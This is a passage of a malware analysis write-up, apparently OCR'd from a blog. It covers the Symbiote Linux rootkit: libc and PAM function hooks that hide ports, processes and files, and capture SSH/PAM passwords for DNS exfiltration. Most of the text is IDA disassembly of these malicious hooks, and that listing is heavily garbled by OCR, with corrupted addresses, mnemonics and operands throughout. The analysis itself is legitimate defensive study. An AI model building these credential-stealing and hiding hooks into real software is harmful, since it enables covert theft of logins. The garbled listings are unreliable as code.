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Summary

Symbiote is a Linux threat that hooks libc and libpcap functions to hide the malicious activity. The malware hides
processes and files that are used during the activity by implementing two functions called hidden_proc and
hidden_file. It can also hide network connections based on a list of ports and by hijacking any injected packet
filtering bytecode. The malware’s purpose is to steal credentials from the SSH and SCP processes by hooking the
libc read function. The extracted credentials are encrypted using RC4, stored in a file on the system, and then

exfiltrated to the C2 server via DNS requests.

Analyst: @GeeksCyber

Technical analysis
SHA256: 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924

This is a 64-bit ELF shared object that appears to be an early development build for Symbiote malware. Newer
versions of this malware have even more functionalities which are described in BlackBerry’s analysis. The file is

not stripped.

The malware hooks the following functions: fopen, fopen64, pam_authenticate, pam_set_item, read, readdir,

readdir64, and recvimsg. We will give details about the hooks implementation.

The dlsym function is utilized to obtain the address of fopen, and then the process calls the original function
(OxFFFFFFFFFFFFFFFF = RTLD_DEFAULT):
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text: 0000000000861 A1FE ; Attributes: bp-based frame
text:beapeoeREE8a01A1E
.text:B080080000881A1E public fopen
.text:0000000008801A1E fopen proc near
Jtext:eeapeappeeaalAlE
.text:08000000800001LA1E var_58= gqword ptr -58h
.text:0880000888001A1E haystack= gword ptr -48h
text: 000000000801 A1E n= gqword ptr -338h
text: 000000000801 A1E var 38= byte ptr -38h
.text:B080600008801A1E lineptr= qword ptr -28h
.text:B000000000081A1E stream= qword ptr -18h
text: 000000000800 1LALE var_18= gqword ptr -18h
.text:068000000080001A1E var B= dword ptr -8
.text:08800000080001A1E var 4= dword ptr -4
Jtext:eoapaepaeeaalAlE
text: 0000000000801 A1E ;  unwind
Ltext:ecoee000008881A1E push rbp
.text:B0806008000881A1F mov rbp, rsp
Ltewt:BO220220088081A22 sub rsp, Seh
ctext:e000000088801LA26 mov [rbpt+haystack], rdi
ctext:B080000088001LA2A mov [rbp+var_ 58], rsi
.text:B8800000880001A2E mov rax, cs:orig_fopen_5687
Text:epeaaeneeaae8lA3s test rax, rax
text:ee00000000801A38 jnz short loc_ 1AS7

L 4

ctext:ea00008008001A3A lea rax, aFopen_@ "fopen™

text: 8e8066888886812A41 mov rsi, rax ; name

Ctext: bapebaaaeaelAdd mov rdi, @FFFFFFFFFFFFFFFFh ; handle
.text:0e00000000001048 call _dlsym

Jtext:eapaaaaaeapelAS8 mov

cs:orig_fopen_ 5687, rax

‘9

=

Jtext:ooapoaneoeaalAsy

text:oeeeepaae0081A57 loc_1A57:
Jtext:0000000000881A57 mov rax, cs:orig fopen_5687
.text:80086008000881A5E mov rcx, [rbptvar 58]
Ltext:2E020082068881A62 mov rdx, [rbpthaystack]
Ltext : 0eRR882008081A6 mov rsi, rcx
Jtext:eeae80808881A69 mov rdi, rdx
.text:oeeeepaaee081AC call rax ; orig fopen_5667

Figure 1

When an application tries to open the “/proc/net/tcp” file, which contains all TCP connections, the execution flow

of the hooked function is different:
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Jtext: 0EREEREREBBE1ARE mov [rbp+stream], rax
Jtext: 0EREEEE08BBE1AT2 mov rax, [rbpthaystack]
Lext : peeRREREE8801ATE lea rsi, needle ; "/proc/net/tcp”
Ltext: epee800000001A7D mov rdi, rax ; haystack
Ltext:eeaepaeREE01A88 call _strstr
LJdext:eepeaa0888881A85 test rax, rax
Jtext: BREEEER000881ABE jz short loc_1A91
_ Y
bl s =
Jtext: GREEEER88088LABA cmp [rbp+stream], @
Jtext: GEEE00088088LABF jnz short loc_1A9A4
Figure 2

The ELF file creates a temporary file by calling the tmpfile method, reads the first line from the above file, and

writes it to the newly created file:

il e =

Ltext:Bepaea2288881A0A

text: 0008000008800 1LA%A loc_1A0A:

Ltext: 26800008880 1A9%A mov [rbp+lineptr], @
Ltext:2068000088001AA2 mov [rbp+n], ©
Ltext:oeaeeeeREEERL1AM call _tmpfile
.text:@00000000008LANF mov [rbptvar_1@], rax

text: 2008000000881 A83 mov rdx, [rbptstream] ; stream
ctext:2060000008001AB7 lea rcx, [rbptn]
Ltext:2000000008001ABE lea rax, [rbptlineptr]

Text : eEea30a006881ABF mov rsi, rcx HE

Ltext : 0ep0800000001AC2 mov rdi, rax ; lineptr
Ltext:epae0000088801AC5 call _getline
Ltext:ee88000888001ACA mov rax, [rbp+lineptr]

.text: 2000000000081 ACE mov rdx, [rbptvar_ 18]

.text : 0866080000801AD2 mov rsi, rdx ; stream
Ltext : 0868080080881ADS mov rdi, rax ; S
Ltext:2e00008000001AD8 call _fputs
Ltext:ee08000088801ADD jmp loc_1BB4

Figure 3

The file is read line-by-line using the getline function. In the case of returning -1 because of a failure (including

end-of-file condition), the process closes the file and frees the memory area allocated to the line:
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i i =
Jext:beepoeaRa0881E864
.text:0000000000001864 loc_1B64: ; stream
text: AB0B200888881B64 mov rdx, [rbp+stream]
.text: 0000000000001B68 lea rex, [rbp+n]
text: S000000000801B6C lea rax, [rbp+lineptr]
LJtext:eeeeoee008080816728 mov rsi, rcx HEl
text:0000000000801673 mov rdi, rax ; lineptr
text: pOE0000080801876 call _getline
.text:0020AD880001576 cmp rax, @FFFFFFFFFFFFFFFFh
.text:3E0B000608001B7F jnz loc_1AE2
W ‘ 7] '
FIZIE
text:9006020008081885 mov rax, [rbp+stream] text: 600000000000 LAE2
Lext:00800020008881689 mov rdi, rax ; stream text: GOBHR0300801AE2 loc 1AE2:
.text:000000000000185C call _fclose Jtext:0200000000001AE2 mov [rbp+var_g8], @
text: PBEBEE2088881B91 mov rax, [rbptlineptr] text : BOBARARGBAE1AED mov [rbptvar_4], @
.text:@0000000008001895 mov rdi, rax 3 ptr .text:0000000000001AFE jmp short loc_1B34
text:PBEBEBE888881EB98 call _free
.text: 0AE0808000001B590 mov rax, [rbptvar_1@]
.text:0000000080001BA1 mov rdi, rax ; stream
Ltext:eae08000800018A4 call _fflush
.text:00000000000018A9 mov rax, [rbp+var_1@]
Ltext : 90e0000666881EAD mov edx, 8 ; whence
Ltext:0p00000000001662 mov esi, @ ; off
Ltext : 9PEREEEEBBB81EET7 mov rdi, rax ; stream
.text: 0000000000001BE4 call _fseek
text: SBEBERE808B1BEF mov rax, [rbptvar_18]
Figure 4

There is a function called gen_proc_net_port implemented by the malware. The purpose of this function is to
retrieve a list of ports that should be hidden. Whether a line read above contains any of the ports, the line is not

written to the temporary file, and the process moves to the next line:

(il s =]
.text:e@e8886060081AF2
. text:000000E0ERERLIAF2 loc_1AF2:
.text:0e00000000BRLAF2 mov edx, [rbp+var_4]
. text:0000000000001AFS mov rax, cs:hidden_ports_ptr
.text:000000000000LAFC movsxd rdx, edx
.text: 000000800000 LAFF mov edx, [rax+rdx*4a]
.text:00000000000010802 lea rax, [rbptvar_3e]
.text: p000006006001B86 mov esi, edx
. text:0000000000001B08 mov rdi, rax
.text:0000006060001B688 call gen_proc_net_port
. text:0006800800068016168 mov rdx, rax
. text:000000E0ERER1B13 mov rax, [rbp+lineptr]
. text:0000000000001617 mov rsi, rdx ; needle
. text:0e0000000000181A mov rdi, rax ; haystack
.text:0000000000801810 call _strstr
.text:0000000000001B22 test rax, rax
.text:0000006060001B25 jz short loc_1B3@
3 ' = '
il e =
.text:B000228800881E27 mov [rbptvar_8], 1 Ltext:poe0008000081E38
.text:90000RE000001B2E jmp short loc_1B48 .text:oeoeeee00000183@ loc_1B3@:
.text:0000008000001B38 add [rbp+var_4], 1
I
_
[l s =

.text:oe0000000801B48
.text:0000000000001B48 loc_1B43:

.text:00000000006801E48 cmp [rbptvar_8], @
.text:00000000006801B4C jnz short loc_1B63
- A | h 4
(il e (= FEE
: BEEEGRAEAAGA1BAE mov rax, [rbp+lineptr] . text : BEAGAOAGAEAA1E63

: BEEEGRAEAAGA1ES2 mov rdx, [rbp+var_1@]

: BPABAOBEBEEEB1E56 mov rsi, rdx 3 stream
: BPOBAOBEBEEB1E5I mov rdi, rax s

: B20000000080185C call _fputs

:3B00000000801861 jmp short loc_1B64

- text : AAAGAGEARAAA1B63 loc_1B63:
.text:0000800000001E63 nop

Figure 5

The function implementation is displayed in the figure below:
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LJgext: ebeapaeae8881790 gen_proc_net_port proc near
Lfext:bopioaapeeaR1 790

Jtext:e000000800081790 var_1C= dword ptr -1Ch
text: 6000000680001 79D var_13= qword ptr -18h
.text: 8600000000001 79D var_8= qword ptr -3
Jtext:eeaoooapaeaal ol

text:eeeceaae000081790 ; _ unwind {

Ltext: eooee08000021790 push rbp

Lext: fbaaaa020868817IE mov rbp, rsp

ctext: BREE0680668817A1 mov [rbptvar_ 18], rdi
Jtext:BE200820080817A5 mov [rbptwar_1C], esi

Ltext: 000000000801 7A8 lea rax, a®l2345678%9abecd ; "@123456739ABCDEF"
.text: 8800000000001 7AF mov [rbp+var_8], rax

.text: 800080000081 763 mov rax, [rbpt+var_18]
text:aee0ea0800081767 mov byte ptr [rax], 3ah ; ":°
text: 2000000000801 7BA mov rax, [rbptvar_ 18]

Ltewt: 200000800800817BE lea rdx, [rax+l]

Ltext: BREEE680668817C2 mov eax, [rbptvar_1C]
Jtext:BE220220880817C5 lea ecx, [rax+8FFFh]

Jgext: aeaa00000008 1 7CE test eax, eax
Jdext:eseapeasaeesl7CD cmovs eax, ecx

JgextepeebeaeReealiDe sar eax, BCh
text:eeepea8800081703 cdge

Jtext: pe0EE08000001705 add rax, [rbptvar_ 8]
text:0000000000001700 movzx  eax, byte ptr [rax]
ctext: BBE206806688170C mov [rdx], al
Jtext:Be2000200808170E mov rax, [rbptvar_18]
Ltext:Ba000000008017E2 lea rcx, [rax+2]

.text: 8800000000001 7EE MoV eax, [rbp+var_1C]
Ltext:aeeepEa8008817EY lea edx, [rax+8FFh]

Jdext:epeeReaeealel7EF test eax, eax
Jgext:beooaeaeeeael7Fl cmovs eax, edx

Lfext: 8peaaE88288817F4 sar eax, B

Lext: 8BE08B680888817F7 mowv edx, eax

text:8eeR00000808017F9 sar edx, 1Fh

Ltext: 00p08800080017FC shr edx, 1Ch

text:seepeeap0080817FF add eax, edx

text:efepeeapee8818081 and eax, @Fh

Jtext: peeE000000808186841 sub eax, edx

Jtext:eooee000000015086 cdge

Ltext:p000000000001808 add rax, [rbptvar 8]

Ltext:B0000000680008188C movzx  eax, byte ptr [rax]

Ltext:BE20002008081308F mov [rcx], al

ctext:ae00000608001811 mov rax, [rbpt+var_18]
Figure 6

The hooked function returns the file descriptor corresponding to the temporary file. The fopen64 function is

hooked in a similar way.

The dlsym function is utilized to obtain the address of pam_authenticate, and then the process calls the original

function:
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text:006006806808082381 var 468= qword ptr -468h
Jtext:Bo000000080823B1 var 453= qword ptr -458h
ctext:000000000002381 var_44C= dword ptr -44Ch
text:0a60000800002381 var_4483= gqword ptr -448h
Ltext:aa80000000002381 var_433= qword ptr -438h
text:8800000800002361 var_438= gword ptr -438h
text: p000000000002381 var 428= qword ptr -428h
text:00000080000082381 s= byte ptr -428h

text: B06008806808082381 var 1C= dword ptr -1Ch
Jtext:Bo000000080823B1 ptr= qword ptr -13h
Ltext: eapEaaaEEaRE23E1

ctext:oa080008680002361 ; _ unwind
Ltext:aaee00888800823681 push rbp

Jtext:eeep0ea000082362 mov rbp, rsp
Jtext:eo0e000008223685 push rbx
Ltewt: 200000800800823B6 sub rsp, 458h
text: BBE20620668823BD mov [rbptvar_448], rdi
Jtext:BE220220080823C4 mov [rbptvar_44C], esi
ctext:paeE0002600023CA mov [rbp+var_428], @
ctext:Baa8000888002305 mov [rbp+var_438], @
Ltext:Bae80080880023E0 mov [rbp+var_438], @
text:ae008808000823EE mov rax, cs:orig_pam_authenticate 5982
Jgext:beooaoaoeaee23F2 test rax, rax
Ltewt: 2000008008800823F5 jnz short loc_2414
Y
Ltext:BEEEGE2068800823F7 lea rax, aPamfAuthenticat & ; “pam_authenticate"
Text:eEeasaeaa68823FE mov rsi, rax 3 hame
Jtext:eespaepeoee02481 mov rdi, @FFFFFFFFFFFFFFFFh ; handle
Ltext:o0080000080024858 call _dlsym
.text:ee8s000888082480 mov cs:orig_pam_authenticate 5982, rax

il e =

X
Ltext:Beaeoappaaae2414
Jtext:eeope0000002414 loc 2414

Ltext:2008000000802414 mov rax, cs:orig pam authenticate 5982
.text:B08060020000082418 mov ecx, [rbptvar_44C]
Ltext:2E02200288802421 mov rdx, [rbptvar_4438]

Ltext: 08a068000080082428 mov esi, ecx

Ltext:aea00000008024208 mov rdi, rdx

text:eeeeepaEE0808242D0 call rax ; orig_pam_authenticate_5982

Figure 7

The malware calls the pam_get_item method in order to obtain the following information: 0x1 =
PAM_SERVICE - the service name, 0x4 = PAM_RHOST - the requesting hostname, 0x2 = PAM_USER - the

username. There is also a function call to getaddrlist, which will be explained in the upcoming paragraphs:
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] e =

Jtext:GeRE20000088243C lea rdx, [rbptvar_428]
Jtext: BEREEREERE062443 mov rax, [rbptvar_448]
text: 9eeeRREREBBR2A1A mov esi, 1

Ltext: 600000008000244F mov rdi, rax
.text:0000000000002452 call _pam_get_item
Jtext:00RE000000082457 lea rdx, [rbptvar_438]
Ltext:020006000888245E mov rax, [rbptvar_448]
Text:esaeneseeeea246s mov esi, 4

Jtext: 0000000080002468 mov rdi, rax
.text:000000008000246D0 call _pam_get_item
.text: 00R0000000002472 lea rdx, [rbp+var 438]
LJtext: BEREEREERERE2470 mov rax, [rbptvar_448]
LTdext:0eE8822280802488 mov esi, 2

text: e000000080002485 mov rdi, rax
.text:0000000000062488 call _pam_get_item
text:eeeaapppe00024380 call getaddrlist

Figure 8

Based on the information extracted above, the process constructs the following string “pam|<getaddrlist result>|
<PAM_SERVICE>|<PAM_RHOST>|<PAM_USER>|<cs:pampassword>". There is a call to a function named
saveline with the “/usr/include/linux/usb/usb.h” parameter (see figure 9). This particular function will be dissected

in the upcoming paragraphs.

text:eeaeeea808882492 mov [rbp+ptr], rax

text : 6000000000062496 mov rbx, cs:pampassword
.text : 600666B00006249D0 mov rax, [rbptvar_438]
LSdext08E8R82288082454 mov ré, rax

Jtext: GREEREERREAB24AT7 mov rax, [rbptvar_438]
.text: 00000000000 24AE mov rdi, rax
Ltext:eRe808880882481 mov rax, [rbp+var_428]
JText:esepeaaRaeae2488 mov rcx, rax

.text: 00E0E0E0B0080246E lea rdx, aPamS5555 ; "pam|¥s|%¥s|¥s|¥s|¥s\n"
.text : 00000006000824C2 lea rax, [rbpt+s]

.text : 000E0000000824C9 mov rsi, [rbpt+ptr]

Ltext: 0EREEREE0868824C0 mov [rsp+as@h+var_458], rsi
Jtext: 0REEREEEEEE82402 mov [rsptras@h+var_468], rbx
JText:eoepeeaReEee2406 mov re, rs

text: 0006000000002409 mov rgd, rdi

.text : 000600000000240C mov esi, 488h ; maxlen
Jtext : @pE0000088824E1 mov rdi, rax ;s
LJdext:0epeR828880824E4 mov eax, @

Jtext: 0ER0E020080824E9 call _snprintf

Ltext: 0EREEREEERRBE24EE mov rax, [rbptptr]

Jtext : e0000000000024F2 mov rdi, rax ; ptr
Ltext:eeee0000000824F5 call _free

.text : 00000000000024FA lea rax, [rbpt+s]
Text:000008088002581 mov rsi, rax
Ltext:epepaae0000025084 lea rdi, aUsrIncludelLinu ; "fusr/include/linux/ush/usb.h"
Jtext: 0ER0002000082508 call saveline

Figure 9

The ELF binary implements an erase function called erasefree. It overwrites an area with zeros, and then the

pointer which points to this area will be freed:
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il e =

Ltext:oepaaapaaaaa2518
Ltext:eaa80000088002518 loc_2518:

Ltext:oeppeae000082518 mov rax, cs:pampassword
Ltext : 0800000000802517 mov rdi, rax
.text:000000000800251A call erasefree
text:0E68066806088251F mov eax, [rbptvar_ 1C]
Ltext :00AB666888882522 add rsp, 458h
Ltext:oepaeap00882529 pop rbx

Ltext :000066686888882524 leave
JStext:Gaeaaapea0802528 retn
text:ooe800000880025268 ; + // starts at 2361
text:2000000000802528 pam_authenticate endp
JStext:BaEaa02020802526

Figure 10

text:20000000000028C8 erasefree proc near
Jgext:eoooooooo00028C80
text:20080000800028C8 s= qword ptr -3
Ltext:aaa00888000025C8
Ltext:20020000000028C8 ;  unwind {
Ltext:B0000880800028C8 push rbp

Jtext:oappaaaeaaae28C1 mov rbp, rsp
Ltext:aae20028808023C4 sub rsp, 1éh
Ltext:BREEE0EEE8R828CE mov [rbp+s], rdi
Jtext:20000000008028CC cmp [rbpt+s], @
text:@0080080080062801 jz short locret 28FF
i L J
P
Ltext:B0620080808082803 mov rax, [rbp+s]
Ltext : 0830800008882807 mov rdi, rax HIE
.text:B000000000800230A call _strlen
Text:aaeasaaaaaa8828DF mov rdx, rax ; M
Ltext:Baa82002888023E2 mov rax, [rbp+s]
Text:epeaaeaeeaa828E6 moy esi, @ o
Ltext : 0802000000002 8EE mov rdi, rax ;S
text:20000000008028EE call _memset
ctext:B0620000008028F3 mov rax, [rbpts]
Ltext : 003080000888 28F7 mov rdi, rax ; ptr
.text:B00000000080028FA call _free
4

il s 5

LtLext:aapaeae0000828FF
Ltext:e0e8000008088028FF locret 28FF:
Jtext:e@aee008888828FF leave
LLexti0e00000002002588 retn
.text:0000000000002008 ; } // starts at 28C@
.text:2000200808002008 erasefree endp
text:oepboapaeaRe2908

Figure 11

The dlsym function is utilized to obtain the address of pam_set_item, and then the process calls the original

function:
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Ltext:0080000008002313 public pam_set_item
.text:eee0008880082313 pam_set_item proc near
LLext:oeppeaa0ea02313

text:0000000000002313 s= qword ptr -33h
text:00000600000808602313 var_2C= dword ptr -2Ch
.text:00000608080882313 var 28= qword ptr -28h
Ltext:B002000080882313 var_l4= dword ptr -14h
LtLext:eepaaaeoaeE02313

Ltext:o008000008002313 ; _ unwind {
.text:oeeeepaaee882313 push rbp
Ltext:fepaeae000082314 mov rbp, rsp
Jtext:eeoe000000082317 push rbx
Jtext:ee08000008002318 sub rsp, 38h
Ltext:BE82062008808231C mov [rbptvar_28], rdi
Ltewt:BOEE0E2202802328 mov [rbptvar_2C], esi
Ltext:p068000088002323 mov [rbp+s], rdx
Ltext: 0800000880023 27 mov rax, cs:orig_pam_set_item_5951
CTexteBeaeaeeaaa232E test rax, rax
Ltext:eee80000888882331 jnz short loc_2358

Ltext: 200E000000002333 lea rax, aPamSetItem @ ; “"pam set item"
Lext: 8Be8EE808888233A mov rsi, rax ; name
Lfext: 6opE8820068882330 mov rdi, @FFFFFFFFFFFFFFFFh ; handle
Jtext:BE22022008082344 call _dlsym
ctext: 0000260002349 mov cs:orig_pam_set_item_5951, rax
| X
FIE
Jtext:eapeoaapea02358
Ltext:Bae00080880002350 loc_2358:
Ltext:BREEEEEEE8882358 mov rax, cs:orig_pam_set_item 5951
Jtext:000000200802357 mov rdx, [rbp+s]
text:000000800802358 mov ebx, [rbptvar_2C]
text:B06200880880235E mov rcx, [rbptvar 28]
Ltext: 0apaaaaR08882362 mov esi, ebx
text: aee0008008002364 mov rdi, rcx
ctext:Baa800808080002367 call rax ; orig _pam_set_item 5951
Figure 12

The process expects that the item_type value is equal to 0x6 (PAM_AUTHTOK), which is the authentication

token (usually it’s a password):
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Ltext:2E082062008882369 mov [rbptvar_14], eax
.text:BREEE02808808236C cmp [rbptvar_2C], &
.text:BREEE22808882378 jnz short loc_23A7

[l s 55

.text:0600000000002372 cmp [rbp+s], @
.text:0800000800002377 jz short loc_23A7
Y

Ltext:eaepaea000882379 mov rax, cs:pampassword
LLext:eeeoeenaepae2358 test rax, rax
Jtext: BREEAERERERE2383 Jz short loc_2394

Lext:ebapapEEE862385 mov rax, cs:pampassword
Ltext : 600688080808238C mov rdi, rax
.text:000000000800238F call erasefree

‘9

ol e

Jtext:BeaebaepEaa02394

.text:B060000080002394 loc_2394:

Ltext:Bae2282288802394 mov rax, [rbp+s]

Ltext: 0000000008882398 mov rdi, rax HEE

Jtext:2000000000802398 call _strdup

Ltext:GapaaaE086623508 mov cs:pampassword, rax
Figure 13

The dlsym function is utilized to obtain the address of readdir, as highlighted below:
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ol e

Ltext:eepoeaopEe00166D0

Ltext:eapaoaop88801660

. text: 0000000000001660 ; Attributes: bp-based frame
Ltext:oappoopaaa0lacl

text:eaeee000808001660 public readdir
text:e000000000001660 readdir proc near
text:oapebaoe0a001660

.text:B000000080081660 var 18= qword ptr -138h
.text:0060000000001660 var_18= qword ptr -18h
. text:B000000080001660 var_8= qword ptr -8
text:oapeaa0088001660

Ltext:eaee00000808001660 ; _ unwind {
Ltext:Bae8802288001660 push rbp

text: 0000000000081606E mov rbp, rsp
text:ee08000008001671 sub rsp, 28h
.text:B020060088081675 mov [rbptvar_18], rdi
.text:B062000000801679 mov rax, cs:orig readdir_ 5469
Text: aeeaea0000081688 test rax, rax
.text:B060000080001683 jnz short loc_16A2
: Y
bl e [=
Ltext:eppeeaeReRRR1EE5 lea rax, name 3 "readdir”
Text:eeeaeeaa8888163C mov rsi, rax 3 hame
tLext:opp000000088168F mov rdi, @FFFFFFFFFFFFFFFFh ; handle
text:e000000000001696 call _dlsym
Ltext:208006800801698 mov cs:orig_readdir 5469, rax
Figure 14

The malware implements a function called check_proc, which will be explained in a bit. Depending on the
boolean value returned by this function, the process calls the original readdir method and then hidden_file or

hidden_proc:

Page 11 of 38



https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/

loc_16A2:
mowv rax, [rbp+var_18]
Jtext: peee0000000016A6 mov rdi, rax

text:peaeeae0000016A9 call check_proc
Text:epaeee88088816AE test eax, eax

Jtext:0000000000001680 jz short loc_l16BF
L J _ A J
[l s 5
.text:B0006000000801682 lea rax, hidden_proc| |.text:5808006068008016BF
text: 0ea0808000801669 mov [rbp+var_8], rax| |.text:00000000000016BF loc_16BF:
.text:0006060000016B0 jmp short loc_16El text:00600080000016BF lea rax, hidden_file
text 1 Rea00E8E0016C6 mov [rbptvar_g8], rax
. text:B000800088016CA jmp short loc_l6El
]
\ vvYvy
FEE
Jtext:eebeteeaeRRa16EL
.text:e0000000000816E1 loc_16E1:
.text:00606000000016EL mov rax, cs:orig_readdir_ 5469
.text:00600000800016E8 mov rdx, [rbp+var_18]
.text:06800068080816EC mov rdi, rdx
.text:606006000000816EF call rax ; orig readdir_ 5469
.text:00606000000016F1 mov [rbp+var_18], rax
.text:peae0000800816F5 cmp [rbptvar_le], @
text:eae8000000816FA jnz short loc_l16CC
Y

M
text:eeeepaoeeaeeloCC
.text:60600000000016CC loc_16CC:

.text: 60606060000016CC mov rax, [rbp+var_18]
text: pea0000000001608 lea rdx, [rax+13h]
Jtext:e0ea000000801604 mov rax, [rbp+var_g]
Jtext: eeA6020008001608 mov rdi, rdx

Ltext:0000000000001608 call rax
.text:eee0800000001600 test eax, eax
.text:00608000000016DF jnz short loc_16FE

|

Figure 15
The readdir64 function is hooked in a similar way.

The dlsym function is utilized to obtain the address of recvimsg, and then the process calls the original function:
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Jtext: eapeaaaaeaRE2815
ctext:oa00000000002015 ;  unwind {
text:Baa800888080020815 push rbp
Jtext: eappaanaoape281s mov rbp, rsp
Ltext:BaEEEEEE88082819 push rbx
Jtext:eaoeeoe00000201A sub rsp, G8h
text:00000000080201E mov [rbptvar 547, edi
text:B06200020080202]1 mov [rbptvar_eB], rsi
ctext:B002002200802025 mov [rbptvar_g4], edx
LJtext: eapaaaaaea282828 mov rax, cs:orig_recvmsg_5816
Jdext:eeee0a000008282F test rax, rax
Ltext:aae200208800082832 jnz short loc_2851
¥
Ltext:eeaeeeeREEE02834 lea rax, aRecwmsg @ ; "recvmsg"”
LJgexteBeaeRaeeaa8283E8 mov rsi, rax 3 name
text:eoeao0000008283E mov rdi, @FFFFFFFFFFFFFFFFh ; handle
Ltext:BE0206200800020845 call _dlsym
Ctext:Geaaaaeae028284A mov cs:orig_recvmsg 5816, rax
| '3
Lol e =
Lext:eepaaaaoae02851
Ltext:e088000008002051 loc_2051:
Ltext:eoppea0000002851 mov rax, cs:orig_recvmsg_5816
Ltext:22680000888882858 mov edx, [rbpt+var_g4]
text:2000000000082058 mov rbx, [rbptvar_6@]
Jtext:200820000008205F mov ecx, [rbptvar 54]
Ltext : 6000080808002062 mov rsi, rbx
Ltext : 0200880000082065 mov edi, ecx
Ltext:pa00000008802067 call rax ; orig_recvmsg 5816
Figure 16

The malicious process expects a specific message structure i.e. message[8] = 0xc, message[16] != 0, as displayed

in the figure below:

==

-text:0000000000002083 mov

rax, [rbptvar 6]
eax, [rax+8]
eax, @ch

.text:000BEBA8G0002087 mov
.text:000DEREERORAZABA cmp

.text:000000000000208D jz

short loc 2098

Figure 17

h ]

s

-text:0000020000002008

.text:0000000000802098 loc_2093:

. text :00GREAGEABEA2898 mov
.text:000000000000209C mov
-text:000000000000209F mov
.text:00000200000028A3 mov

. text : 00GBBAGERBAR2BAT MoV
. text:000PEAOARRAAZOAA cmp
.text:00000000000020AE jz

rax, [rbptvar_56]
rax, [rax]
[rbp+var_20], rax
rax, [rbptvar_48]
eax, word ptr [rax]
ax, 1@h

short loc_2089

i ;

FEE]

-text:0000000000002009

.text:0000000000002089 loc_20B9:

‘text:0006000000602889 mov
.text :90PPBEBEROPE2ABD mov
.text:00000000000020C1 mov
. text:00000000000020C5 cmp
.text:@0000B800000828CA jz

rax, [rbptvar_6]
rax, [rax+18h]
[rbp+var_38], rax
[rbp+var_38], @
short loc_20D8

(]

ol s =

. text:00022000000020CC mov
. text : 8000ADPREARO28DA mov

.text:00000000000028D3 test

.text:00000000000020D6 jnz

rax, [rbptvar_38]
rax, [rax]

rax, rax

short loc_20E1

The ELF binary converts unsigned short integers from host byte order to network byte order using htons. The

message is copied to another memory area using the memcpy method:
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il s

LLext:aepaaae0ee0821CF

text: 0008000008802 1CF loc_21CF:

Ltext:ee680000880021CF mov rax, [rbptvar_28]

Jtext:e0a80000808802103 movix  eax, word ptr [rax+d]

LJexteeeaeeaeeaae21D7 movIx eax, ax

Ltext : 086068000080210A mov edi, eax ; hostshort

text:200006000800210C call _htons

LTText 00000006882 1E1 movIx ecx, ax

Ltext: 0080000880021 E4 mov edx, [rbptvar_14]

Ltext:e06880000880021E7 mov rax, cs:hidden_ports_ptr

Ltext : 0800000008002 1EE movsxd rdx, edx

Ltext: 0880000880021 F1 mov eax, [raxtrdx*4]

Ltext:oogooep002021F4 cmp ecx, eax

Ltext:20000008000021F6 jz short loc_2221

Y

Ll s =]
Ltext:200806000008821F8 mov rax, [rbptvar_ 28]
.text:000000000080021FC movzx  eax, word ptr [raxts]
LJext : eEEa0REREEEE2 268 movIN eax, ax
Ltext : 0800000000082 203 mov edi, eax ; hostshort
Ltext:epaeeeeR88802285 call _htons
Lexteeeaeeneeaaa22e8A movix ecx, ax
Jtext:0e00000000082200 mov edx, [rbptvar_14]
Jtext:2008200000082218 mov rax, cs:hidden_ports ptr
Ltext: 00600080808082217 movsxd rdx, edx
Ltext:BE022022008822148 mov eax, [raxtrdx*4]
Ltext:oepaeapaaee02210 cmp eCcx, eax
Ltext:088000008800221F jnz short loc_222A

Figure 18

In the check_proc function, the malware gets the directory stream file descriptor and computes the following path
“/proc/self/fd/<File descriptor>":
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[l e
Jtext:peeeseaeaeaal3AC
text:pooeaaaaaaaal3IAC
.text:00000000800013AC ; Attributes: bp-based frame
Ltext:epapapapaBal3AC
.text:00000000000013AC check_proc proc near
Jtext:peeeoeaeaeaal3AC
.text: 0000000000001 3AC dirp= qword ptr -68h
ctext:00000000000813AC buf= byte ptr -66h
.text:00000808080013AC s= byte ptr -5eh
.text:000000008000013AC var_C= dword ptr -@Ch
.text:000B8R0R000013AC var_8= gqword ptr -8
Ltext:epapapapaBal3AC
Ltext:00000000000013AC ; _ unwind {
.text:20000808080013AC push rbp
text:epepepapapal3Al mov rbp, rsp
Ltext:0000000200081360 sub rsp, 78h
.text:0000000800001384 mov [rbpt+dirp], rdi
.text:0000000000001368 mov rax, [rbpt+dirp]
Ltext:sepepepe0800136C mov rdi, rax ; dirp
.text:00000080800013BF call _dirfd
Ltext:@0002000000813C4 mov [rbp+var_C], eax
.text:00000808080013C7 cmp [rbptvar_C], @FFFFFFFFh
.text:008080888800813CE jnz short loc_13D4
Y
M
Ctext:pepopeoesesaliDe
Ltext:0600080000001304 loc_1304:
Ltext: pepeResesasal3Dd lea rex, tormat ;5 "/proc/self/fd/¥d"
.text:0000000800001308 mov edx, [rbptvar_C]
ctext:0000068000000130DE lea rax, [rbp+s]
Ltext: ea020000000013E2 mov rsi, rcx ; Tormat
Ltext:peReReReRedal3ES mov rdi, rax ]
.text: 06000000880013E8 mov eax, @
.text:00000008080013E0 call _sprintf
Figure 19

The path constructed above points to a symbolic link that is read using the readlink method. The function returns 1

whether the symbolic link contains “/proc” and 0 otherwise:

Ltext:eegebpeREEEE15F2
Jtext:eegetpeREaB15F6

lea
lea

rax, [rbp+s]
rcx, [rbptbuf]

Jtext : 66000000000 13FA mov edx, & ;3 len

.text:60000000000013FF mov rsi, rcx ;5 buf

.text : 6000600060001402 mov rdi, rax ; path
.text:600P000000081485 call readlink

frbp+var_8], rax
[rbp+var_8], 5

Ltext:ebeacaaaea2014088
Jext:epeoopaoeaeal4aE

mow
cmp

.text:po00000000001413 jz short loc_141C
= ‘ = ‘
[l s 5 ol s 5
text:0000000000001415 mov eax, @ Ltext: 00e000060000141C
text:808000080888141A jmp short locret_144@) |.text:80880a080880141C loc_141C:
.text:000000000000141C mov rax, [rbp+var_8]
Jtext:080000000801428 mov [rbptrax+s], @
text: 0000000008081425 lea rax, [rbp+s]
LJAext: 0000008000001429 mov rsi, rax 3 s2
.text:eoe000000000142C lea rdi, s1 ; "/proc”
Jtext:e000000000001433 call _strcmp
text:0008000800808081438 test eax, eax
JLext:eppoeap0ee0e8143A setz al
.text: 600000006060143D movIx eax, al
]

YYy

Jdext:
.Text:
Text:
text:
text:
text:
Ltext

oepaoepaoepallls
aecaaecaaeealiln
gaeaapaaRaEE1448
BoeppoeaRaeEl44]
oepaoopaoepaladl
gaeaaaeaRaeE144]

rBEpeREBEAEEE144]

locret_144a:

leave

retn

